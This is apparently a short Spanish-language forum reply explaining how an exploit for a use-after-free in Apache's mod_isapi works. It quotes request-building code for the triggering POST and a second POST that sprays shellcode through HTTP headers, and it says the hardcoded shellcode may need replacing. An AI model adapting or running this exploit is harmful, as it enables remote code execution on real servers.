Hola pablo,
Creo que es bastante claro, te explica por todos lados como funciona. Se conecta al server y manda un http-post para hacer que cargue la dll isapi (mod_isapi).
triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
"User-Agent: AAAAAAAA\r\n"
"Pragma: no-cache\r\n"
"Proxy-Connection: Keep-Alive\r\n"
"Host: " + serverIP + "\r\n"
"Content-Length: 40334\r\n\r\n" +
string(footer);
Despues paquete reset. Y ahi esta la vulnerabilidad, apache va a descargar la libreria isapi pero quedan referencias al modulo todavia disponibles.
Despues de esto para aprovecharse de esas referencias manda otro http-post pidiendo uso de la libreria descargada
payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
"Accept: " + string(accept) + "\r\n"
"Referer: " + string(referer) + string(shellcode) + "\r\n"
...
En el pedido hace una onda de spray shellcode para tener mas posibilidades de que sea ejecutada. No lo probe, pero es posible que sea una loteria. La shellcode me parece que esta hardcodeada, capaz que tengas que cambiarla.
Saludos.